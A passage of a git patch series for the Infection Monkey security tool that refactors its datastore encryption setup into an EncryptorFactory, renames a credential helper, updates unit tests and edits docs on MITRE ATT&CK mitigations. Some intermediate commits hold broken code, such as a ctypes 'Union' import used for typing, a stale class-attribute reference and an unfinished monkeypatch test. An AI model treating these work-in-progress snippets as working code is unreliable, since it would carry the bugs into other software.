"sha256:a4b987ec31c3c9996cf1bc865332f967fe4a0512c41b39652d6224f696e69da5" + "sha256:10062e34c204b5e4ec5f62e6ef2473f8ba76513a9a617e873f1f8fb4a519d300", + "sha256:bcc17f0b3a29670dd777d6f0755a4c04f28815395bca279cdcb213b97199a6b8" ], "index": "pypi", - "version": "==20.8.0" + "version": "==20.8.1" }, "vulture": { "hashes": [ @@ -1539,11 +1530,11 @@ }, "zipp": { "hashes": [ - "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", - "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" + "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", + "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" ], "markers": "python_version >= '3.6'", - "version": "==3.5.0" + "version": "==3.6.0" } } } diff --git a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py deleted file mode 100644 index 785d6a36b..000000000 --- a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py +++ /dev/null @@ -1,9 +0,0 @@ -# Workaround for packaging Monkey Island using PyInstaller. See -# https://github.com/oasis-open/cti-python-stix2/issues/218 - -import os - -from PyInstaller.utils.hooks import get_module_file_attribute - -stix2_dir = os.path.dirname(get_module_file_attribute("stix2")) -datas = [(stix2_dir, "stix2")] From da169dddc976574f59572cd9d47805480dbfb93a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 15:24:48 +0300 Subject: [PATCH 305/454] Refactor DataStoreEncryptor by splitting up initialization related methods into EncryptorFactory This makes encryptor initialization workflow more straight-forward and the files become smaller, easier to read --- .../monkey_island/cc/resources/auth/auth.py | 8 +- .../cc/resources/auth/registration.py | 7 +- monkey/monkey_island/cc/server_setup.py | 5 +- .../cc/server_utils/encryption/__init__.py | 14 ++-- .../encryption/data_store_encryptor.py | 79 ++++++------------- .../encryption/encryptor_factory.py | 38 +++++++++ .../unit_tests/monkey_island/cc/conftest.py | 10 ++- .../encryption/test_data_store_encryptor.py | 44 +++++------ 8 files changed, 108 insertions(+), 97 deletions(-) create mode 100644 monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 06fcb9e07..124cd1f71 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -13,7 +13,10 @@ from monkey_island.cc.resources.auth.credential_utils import ( get_credentials_from_request, password_matches_hash, ) -from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key +from monkey_island.cc.server_utils.encryption import ( + get_datastore_encryptor, + initialize_datastore_encryptor, +) logger = logging.getLogger(__name__) @@ -44,7 +47,8 @@ class Authenticate(flask_restful.Resource): username, password = get_credentials_from_request(request) if _credentials_match_registered_user(username, password): - setup_datastore_key(username, password) + if not get_datastore_encryptor(): + initialize_datastore_encryptor(username, password) access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index f96a5ce82..064e80179 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -6,7 +6,10 @@ from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError from monkey_island.cc.resources.auth.credential_utils import get_user_credentials_from_request -from monkey_island.cc.server_utils.encryption import remove_old_datastore_key, setup_datastore_key +from monkey_island.cc.server_utils.encryption import ( + initialize_datastore_encryptor, + remove_old_datastore_key, +) from monkey_island.cc.setup.mongo.database_initializer import reset_database logger = logging.getLogger(__name__) @@ -24,7 +27,7 @@ class Registration(flask_restful.Resource): env_singleton.env.try_add_user(credentials) remove_old_datastore_key() username, password = get_user_credentials_from_request(request) - setup_datastore_key(username, password) + initialize_datastore_encryptor(username, password) reset_database() return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 69ab0437a..82c1b3a58 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -11,6 +11,8 @@ from gevent.pywsgi import WSGIServer # Add the monkey_island directory to the path, to make sure imports that don't start with # "monkey_island." work. +from monkey_island.cc.server_utils.encryption import initialize_encryptor_factory + MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) @@ -27,7 +29,6 @@ from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, ) -from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor # noqa: E402 from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 @@ -87,7 +88,7 @@ def _configure_logging(config_options): def _initialize_globals(config_options: IslandConfigOptions, server_config_path: str): env_singleton.initialize_from_file(server_config_path) - initialize_datastore_encryptor(config_options.data_dir) + initialize_encryptor_factory(config_options.data_dir) initialize_services(config_options.data_dir) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index e9c19d75e..fa9692ca3 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -4,15 +4,15 @@ from monkey_island.cc.server_utils.encryption.password_based_string_encryptior i PasswordBasedStringEncryptor, is_encrypted, ) -from .password_based_bytes_encryption import InvalidCredentialsError, InvalidCiphertextError -from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( - DataStoreEncryptor, - get_datastore_encryptor, - initialize_datastore_encryptor, +from .encryptor_factory import ( + FactoryNotInitializedError, remove_old_datastore_key, - setup_datastore_key, - EncryptorNotInitializedError, + get_encryptor_factory, + get_secret_from_credentials, + initialize_encryptor_factory, ) +from .data_store_encryptor import initialize_datastore_encryptor, get_datastore_encryptor +from .password_based_bytes_encryption import InvalidCredentialsError, InvalidCiphertextError from .dict_encryption.dict_encryptor import ( SensitiveField, encrypt_dict, diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 624e663b4..f58401783 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -8,7 +8,11 @@ from typing import Union from Crypto import Random # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor +from monkey_island.cc.server_utils.encryption import FactoryNotInitializedError, KeyBasedEncryptor +from monkey_island.cc.server_utils.encryption.encryptor_factory import ( + get_encryptor_factory, + get_secret_from_credentials, +) from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( PasswordBasedBytesEncryptor, ) @@ -19,33 +23,27 @@ _encryptor: Union[None, DataStoreEncryptor] = None class DataStoreEncryptor: _BLOCK_SIZE = 32 - _KEY_FILENAME = "mongo_key.bin" - def __init__(self, key_file_dir: str): - self.key_file_path = os.path.join(key_file_dir, self._KEY_FILENAME) - self._key_based_encryptor = None - - def init_key(self, secret: str): - if os.path.exists(self.key_file_path): - self._load_existing_key(secret) + def __init__(self, key_file_path: str, secret: str): + if os.path.exists(key_file_path): + self._key_based_encryptor = DataStoreEncryptor._load_existing_key(key_file_path, secret) else: - self._create_new_key(secret) + self._key_based_encryptor = DataStoreEncryptor._create_new_key(key_file_path, secret) - def _load_existing_key(self, secret: str): - with open(self.key_file_path, "rb") as f: + @staticmethod + def _load_existing_key(key_file_path: str, secret: str): + with open(key_file_path, "rb") as f: encrypted_key = f.read() cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) - self._key_based_encryptor = KeyBasedEncryptor(cipher_key) + return KeyBasedEncryptor(cipher_key) - def _create_new_key(self, secret: str): - cipher_key = Random.new().read(self._BLOCK_SIZE) + @staticmethod + def _create_new_key(key_file_path: str, secret: str): + cipher_key = Random.new().read(DataStoreEncryptor._BLOCK_SIZE) encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) - with open_new_securely_permissioned_file(self.key_file_path, "wb") as f: + with open_new_securely_permissioned_file(key_file_path, "wb") as f: f.write(encrypted_key) - self._key_based_encryptor = KeyBasedEncryptor(cipher_key) - - def is_key_setup(self) -> bool: - return self._key_based_encryptor is not None + return KeyBasedEncryptor(cipher_key) def enc(self, message: str): return self._key_based_encryptor.encrypt(message) @@ -54,43 +52,14 @@ class DataStoreEncryptor: return self._key_based_encryptor.decrypt(enc_message) -def initialize_datastore_encryptor(key_file_dir: str): +def initialize_datastore_encryptor(username: str, password: str): global _encryptor - _encryptor = DataStoreEncryptor(key_file_dir) - - -class EncryptorNotInitializedError(Exception): - pass - - -def _get_secret_from_credentials(username: str, password: str) -> str: - return f"{username}:{password}" - - -def encryptor_initialized_key_not_set(f): - def inner_function(*args, **kwargs): - if _encryptor is None: - raise EncryptorNotInitializedError - else: - if not _encryptor.is_key_setup(): - return f(*args, **kwargs) - else: - pass - - return inner_function - - -@encryptor_initialized_key_not_set -def remove_old_datastore_key(): - if os.path.isfile(_encryptor.key_file_path): - os.remove(_encryptor.key_file_path) - - -@encryptor_initialized_key_not_set -def setup_datastore_key(username: str, password: str): - secret = _get_secret_from_credentials(username, password) - _encryptor.init_key(secret) + factory = get_encryptor_factory() + if not factory: + raise FactoryNotInitializedError + secret = get_secret_from_credentials(username, password) + _encryptor = DataStoreEncryptor(factory.key_file_path, secret) def get_datastore_encryptor(): diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py b/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py new file mode 100644 index 000000000..67d3e6ee4 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py @@ -0,0 +1,38 @@ +from __future__ import annotations + +import os +from ctypes import Union + +_factory: Union[None, EncryptorFactory] = None + + +class EncryptorFactory: + + _KEY_FILENAME = "mongo_key.bin" + + def __init__(self, key_file_dir: str): + self.key_file_path = os.path.join(key_file_dir, self._KEY_FILENAME) + + +class FactoryNotInitializedError(Exception): + pass + + +def get_secret_from_credentials(username: str, password: str) -> str: + return f"{username}:{password}" + + +def remove_old_datastore_key(): + if _factory is None: + raise FactoryNotInitializedError + if os.path.isfile(_factory.key_file_path): + os.remove(_factory.key_file_path) + + +def initialize_encryptor_factory(key_file_dir: str): + global _factory + _factory = EncryptorFactory(key_file_dir) + + +def get_encryptor_factory(): + return _factory diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index ee3e8aafa..cbd141ac7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -10,8 +10,10 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) -from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor -from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key +from monkey_island.cc.server_utils.encryption import ( + initialize_datastore_encryptor, + initialize_encryptor_factory, +) @pytest.fixture @@ -34,5 +36,5 @@ MOCK_PASSWORD = "3cr3t_p455w0rd" @pytest.fixture def uses_encryptor(data_for_tests_dir): - initialize_datastore_encryptor(data_for_tests_dir) - setup_datastore_key(MOCK_USERNAME, MOCK_PASSWORD) + initialize_encryptor_factory(data_for_tests_dir) + initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 1a394c025..e8901862b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -2,14 +2,15 @@ import pytest from tests.unit_tests.monkey_island.cc.conftest import MOCK_PASSWORD, MOCK_USERNAME from monkey_island.cc.server_utils.encryption import ( - DataStoreEncryptor, - EncryptorNotInitializedError, + FactoryNotInitializedError, data_store_encryptor, + encryptor_factory, get_datastore_encryptor, initialize_datastore_encryptor, + initialize_encryptor_factory, remove_old_datastore_key, - setup_datastore_key, ) +from monkey_island.cc.server_utils.encryption.encryptor_factory import EncryptorFactory PLAINTEXT = "Hello, Monkey!" @@ -25,45 +26,38 @@ def test_encryption(data_for_tests_dir): @pytest.fixture def initialized_key_dir(tmpdir): - initialize_datastore_encryptor(tmpdir) - setup_datastore_key(MOCK_USERNAME, MOCK_PASSWORD) + initialize_encryptor_factory(tmpdir) + initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) yield tmpdir data_store_encryptor._encryptor = None + encryptor_factory._factory = None def test_key_creation(initialized_key_dir): - assert (initialized_key_dir / DataStoreEncryptor._KEY_FILENAME).isfile() - - -def test_key_removal_fails_if_key_initialized(initialized_key_dir): - remove_old_datastore_key() - assert (initialized_key_dir / DataStoreEncryptor._KEY_FILENAME).isfile() + assert (initialized_key_dir / EncryptorFactory._KEY_FILENAME).isfile() def test_key_removal(initialized_key_dir, monkeypatch): - monkeypatch.setattr(DataStoreEncryptor, "is_key_setup", lambda _: False) remove_old_datastore_key() - assert not (initialized_key_dir / DataStoreEncryptor._KEY_FILENAME).isfile() + assert not (initialized_key_dir / EncryptorFactory._KEY_FILENAME).isfile() def test_key_removal__no_key(tmpdir): - initialize_datastore_encryptor(tmpdir) - assert not (tmpdir / DataStoreEncryptor._KEY_FILENAME).isfile() + initialize_encryptor_factory(tmpdir) + assert not (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() # Make sure no error thrown when we try to remove an non-existing key remove_old_datastore_key() - - data_store_encryptor._encryptor = None + encryptor_factory._factory = None def test_encryptor_not_initialized(): - with pytest.raises(EncryptorNotInitializedError): + with pytest.raises(FactoryNotInitializedError): remove_old_datastore_key() - setup_datastore_key() + initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) -def test_setup_datastore_key(tmpdir): - initialize_datastore_encryptor(tmpdir) - assert not (tmpdir / DataStoreEncryptor._KEY_FILENAME).isfile() - setup_datastore_key(MOCK_USERNAME, MOCK_PASSWORD) - assert (tmpdir / DataStoreEncryptor._KEY_FILENAME).isfile() - assert get_datastore_encryptor().is_key_setup() +def test_initialize_encryptor(tmpdir): + initialize_encryptor_factory(tmpdir) + assert not (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() + initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) + assert (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() From 26ba02a1d093ef465cd6be80a7c9e62a6fd2fad8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 15:33:46 +0300 Subject: [PATCH 306/454] Refactor get_credentials_from_request to get_username_password_from_request This better indicates that get_username_password_from_request returns a username/password pair rather than UserCreds structure --- monkey/monkey_island/cc/resources/auth/auth.py | 4 ++-- monkey/monkey_island/cc/resources/auth/credential_utils.py | 4 ++-- monkey/monkey_island/cc/resources/auth/registration.py | 7 +++++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 124cd1f71..9a693e80d 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -10,7 +10,7 @@ from jwt import PyJWTError import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.resources.auth.credential_utils import ( - get_credentials_from_request, + get_username_password_from_request, password_matches_hash, ) from monkey_island.cc.server_utils.encryption import ( @@ -44,7 +44,7 @@ class Authenticate(flask_restful.Resource): "password": "my_password" } """ - username, password = get_credentials_from_request(request) + username, password = get_username_password_from_request(request) if _credentials_match_registered_user(username, password): if not get_datastore_encryptor(): diff --git a/monkey/monkey_island/cc/resources/auth/credential_utils.py b/monkey/monkey_island/cc/resources/auth/credential_utils.py index 874906edb..a0823d42b 100644 --- a/monkey/monkey_island/cc/resources/auth/credential_utils.py +++ b/monkey/monkey_island/cc/resources/auth/credential_utils.py @@ -19,13 +19,13 @@ def password_matches_hash(plaintext_password, password_hash): def get_user_credentials_from_request(_request) -> UserCreds: - username, password = get_credentials_from_request(_request) + username, password = get_username_password_from_request(_request) password_hash = hash_password(password) return UserCreds(username, password_hash) -def get_credentials_from_request(_request: Request) -> Tuple[str, str]: +def get_username_password_from_request(_request: Request) -> Tuple[str, str]: cred_dict = json.loads(request.data) username = cred_dict.get("username", "") password = cred_dict.get("password", "") diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 064e80179..82dbcfe3a 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -5,7 +5,10 @@ from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError -from monkey_island.cc.resources.auth.credential_utils import get_user_credentials_from_request +from monkey_island.cc.resources.auth.credential_utils import ( + get_user_credentials_from_request, + get_username_password_from_request, +) from monkey_island.cc.server_utils.encryption import ( initialize_datastore_encryptor, remove_old_datastore_key, @@ -26,7 +29,7 @@ class Registration(flask_restful.Resource): try: env_singleton.env.try_add_user(credentials) remove_old_datastore_key() - username, password = get_user_credentials_from_request(request) + username, password = get_username_password_from_request(request) initialize_datastore_encryptor(username, password) reset_database() return make_response({"error": ""}, 200) From 4ef0f542b8789c14d35c60c3baeee48540c81033 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 1 Oct 2021 08:24:47 -0400 Subject: [PATCH 307/454] Docs: Add description of Attack Mitigations --- docs/content/development/attack_mitigations.md | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/docs/content/development/attack_mitigations.md b/docs/content/development/attack_mitigations.md index 88a585c97..bce2dc873 100644 --- a/docs/content/development/attack_mitigations.md +++ b/docs/content/development/attack_mitigations.md @@ -11,23 +11,27 @@ Check out [the documentation for the MITRE ATT&CK techniques as well]({{< ref "/ ## Summary -Infection Monkey is shipped with pre-processed information about MITRE ATT&CK -mitigations located at -`monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. +Attack Mitigations are presented in MITRE ATT&CK report. They appear next to +descriptions of attack techniques and suggest steps that can be taken to reduce +the risk of that particular technique being successful in a network. They also +provide links for further reading on https://attack.mitre.org/ -This may need to be periodically updated as the MITRE ATT&CK framework evolves. +The Infection Monkey is shipped with pre-processed information about MITRE +ATT&CK mitigations located at +`monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. This may need to +be periodically updated as the MITRE ATT&CK framework evolves. ## Updating the MITRE ATT&CK mitigations data 1. Clone the [MITRE Cyber Threat Intelligence Repository](https://github.com/mitre/cti) or the [Guardicore - fork](https://github.com/guardicore/cti) + fork](https://github.com/guardicore/cti): ``` $ CTI_REPO=$PWD/cti $ git clone $CTI_REPO ``` -2. Start a mongodb v4.2 server -3. Run the script to generate the `attack_mitigations.json` file +2. Start a MongoDB v4.2 server. +3. Run the script to generate the `attack_mitigations.json` file: ``` $ cd monkey/deployment_scripts/dump_attack_mitigations $ pip install -r requirements.txt From 9d6dc3b0266fae42fd79c6f4704bf49da926d679 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 17:33:55 +0300 Subject: [PATCH 308/454] Move all encryptor building related code to encryptor_factory.py from data_store_encryptor.py --- .../cc/server_utils/encryption/__init__.py | 2 +- .../encryption/data_store_encryptor.py | 46 ++----------- .../encryption/encryptor_factory.py | 69 ++++++++++++++----- .../encryption/test_data_store_encryptor.py | 7 +- 4 files changed, 65 insertions(+), 59 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index fa9692ca3..1c3e422db 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -8,7 +8,7 @@ from .encryptor_factory import ( FactoryNotInitializedError, remove_old_datastore_key, get_encryptor_factory, - get_secret_from_credentials, + _get_secret_from_credentials, initialize_encryptor_factory, ) from .data_store_encryptor import initialize_datastore_encryptor, get_datastore_encryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index f58401783..949102c84 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -1,49 +1,17 @@ from __future__ import annotations -import os - # PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but # is maintained. from typing import Union -from Crypto import Random # noqa: DUO133 # nosec: B413 - -from monkey_island.cc.server_utils.encryption import FactoryNotInitializedError, KeyBasedEncryptor -from monkey_island.cc.server_utils.encryption.encryptor_factory import ( - get_encryptor_factory, - get_secret_from_credentials, -) -from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( - PasswordBasedBytesEncryptor, -) -from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file +from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor _encryptor: Union[None, DataStoreEncryptor] = None class DataStoreEncryptor: - _BLOCK_SIZE = 32 - - def __init__(self, key_file_path: str, secret: str): - if os.path.exists(key_file_path): - self._key_based_encryptor = DataStoreEncryptor._load_existing_key(key_file_path, secret) - else: - self._key_based_encryptor = DataStoreEncryptor._create_new_key(key_file_path, secret) - - @staticmethod - def _load_existing_key(key_file_path: str, secret: str): - with open(key_file_path, "rb") as f: - encrypted_key = f.read() - cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) - return KeyBasedEncryptor(cipher_key) - - @staticmethod - def _create_new_key(key_file_path: str, secret: str): - cipher_key = Random.new().read(DataStoreEncryptor._BLOCK_SIZE) - encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) - with open_new_securely_permissioned_file(key_file_path, "wb") as f: - f.write(encrypted_key) - return KeyBasedEncryptor(cipher_key) + def __init__(self, key_based_encryptor: KeyBasedEncryptor): + self._key_based_encryptor = key_based_encryptor def enc(self, message: str): return self._key_based_encryptor.encrypt(message) @@ -52,14 +20,10 @@ class DataStoreEncryptor: return self._key_based_encryptor.decrypt(enc_message) -def initialize_datastore_encryptor(username: str, password: str): +def initialize_datastore_encryptor(key_based_encryptor: KeyBasedEncryptor): global _encryptor - factory = get_encryptor_factory() - if not factory: - raise FactoryNotInitializedError - secret = get_secret_from_credentials(username, password) - _encryptor = DataStoreEncryptor(factory.key_file_path, secret) + _encryptor = DataStoreEncryptor(key_based_encryptor) def get_datastore_encryptor(): diff --git a/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py b/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py index 67d3e6ee4..0ae3e70a6 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py +++ b/monkey/monkey_island/cc/server_utils/encryption/encryptor_factory.py @@ -1,38 +1,75 @@ -from __future__ import annotations - import os -from ctypes import Union -_factory: Union[None, EncryptorFactory] = None +from Crypto import Random + +from monkey_island.cc.server_utils.encryption import ( + KeyBasedEncryptor, + initialize_datastore_encryptor, +) +from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( + PasswordBasedBytesEncryptor, +) +from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file + +_KEY_FILENAME = "mongo_key.bin" +_BLOCK_SIZE = 32 class EncryptorFactory: + def __init__(self): + self.key_file_path = None + self.secret = None - _KEY_FILENAME = "mongo_key.bin" + def set_key_file_path(self, key_file_path: str): + self.key_file_path = key_file_path - def __init__(self, key_file_dir: str): - self.key_file_path = os.path.join(key_file_dir, self._KEY_FILENAME) + def set_secret(self, username: str, password: str): + self.secret = _get_secret_from_credentials(username, password) + + def initialize_encryptor(self): + if os.path.exists(self.key_file_path): + key_based_encryptor = _load_existing_key(self.key_file_path, self.secret) + else: + key_based_encryptor = _create_new_key(self.key_file_path, self.secret) + initialize_datastore_encryptor(key_based_encryptor) -class FactoryNotInitializedError(Exception): +class KeyPathNotSpecifiedError(Exception): pass -def get_secret_from_credentials(username: str, password: str) -> str: +def _load_existing_key(key_file_path: str, secret: str): + with open(key_file_path, "rb") as f: + encrypted_key = f.read() + cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) + return KeyBasedEncryptor(cipher_key) + + +def _create_new_key(key_file_path: str, secret: str): + cipher_key = _get_random_bytes() + encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) + with open_new_securely_permissioned_file(key_file_path, "wb") as f: + f.write(encrypted_key) + return KeyBasedEncryptor(cipher_key) + + +def _get_random_bytes() -> bytes: + return Random.new().read(_BLOCK_SIZE) + + +def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" def remove_old_datastore_key(): - if _factory is None: - raise FactoryNotInitializedError + if not _factory.key_file_path: + raise KeyPathNotSpecifiedError if os.path.isfile(_factory.key_file_path): os.remove(_factory.key_file_path) -def initialize_encryptor_factory(key_file_dir: str): - global _factory - _factory = EncryptorFactory(key_file_dir) - - def get_encryptor_factory(): return _factory + + +_factory = EncryptorFactory() diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index e8901862b..1d4d23273 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -10,6 +10,7 @@ from monkey_island.cc.server_utils.encryption import ( initialize_encryptor_factory, remove_old_datastore_key, ) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import DataStoreEncryptor from monkey_island.cc.server_utils.encryption.encryptor_factory import EncryptorFactory PLAINTEXT = "Hello, Monkey!" @@ -37,7 +38,7 @@ def test_key_creation(initialized_key_dir): assert (initialized_key_dir / EncryptorFactory._KEY_FILENAME).isfile() -def test_key_removal(initialized_key_dir, monkeypatch): +def test_key_removal(initialized_key_dir): remove_old_datastore_key() assert not (initialized_key_dir / EncryptorFactory._KEY_FILENAME).isfile() @@ -61,3 +62,7 @@ def test_initialize_encryptor(tmpdir): assert not (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() initialize_datastore_encryptor(MOCK_USERNAME, MOCK_PASSWORD) assert (tmpdir / EncryptorFactory._KEY_FILENAME).isfile() + + +def test_key_file_encryption(tmpdir, monkeypatch): + monkeypatch(DataStoreEncryptor._) From 34d065ce698824edb4d51e2dd7c520733e6b00f6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Oct 2021 09:29:40 +0300 Subject: [PATCH 309/454] Move encryptors into a separate folder This separates encryptor classes from other encryption related infrastructure that we have cc\server_utils\encryption --- .../cc/server_utils/encryption/__init__.py | 19 +++++++++---------- .../encryption/encryptors/__init__.py | 0 .../{ => encryptors}/i_encryptor.py | 0 .../{ => encryptors}/key_based_encryptor.py | 0 .../password_based_bytes_encryption.py | 0 .../password_based_string_encryptior.py | 2 +- 6 files changed, 10 insertions(+), 11 deletions(-) create mode 100644 monkey/monkey_island/cc/server_utils/encryption/encryptors/__init__.py rename monkey/monkey_island/cc/server_utils/encryption/{ => encryptors}/i_encryptor.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{ => encryptors}/key_based_encryptor.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{ => encryptors}/password_based_bytes_encryption.py (100%) rename monkey/monkey_island/cc/server_utils/encryption/{ => encryptors}/password_based_string_encryptior.py (90%) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 1c3e422db..ea04a25e1 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -1,18 +1,17 @@ -from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor -from monkey_island.cc.server_utils.encryption.key_based_encryptor import KeyBasedEncryptor -from monkey_island.cc.server_utils.encryption.password_based_string_encryptior import ( +from monkey_island.cc.server_utils.encryption.encryptors.i_encryptor import IEncryptor +from monkey_island.cc.server_utils.encryption.encryptors.key_based_encryptor import ( + KeyBasedEncryptor, +) +from monkey_island.cc.server_utils.encryption.encryptors.password_based_string_encryptior import ( PasswordBasedStringEncryptor, is_encrypted, ) -from .encryptor_factory import ( - FactoryNotInitializedError, - remove_old_datastore_key, - get_encryptor_factory, - _get_secret_from_credentials, - initialize_encryptor_factory, +from 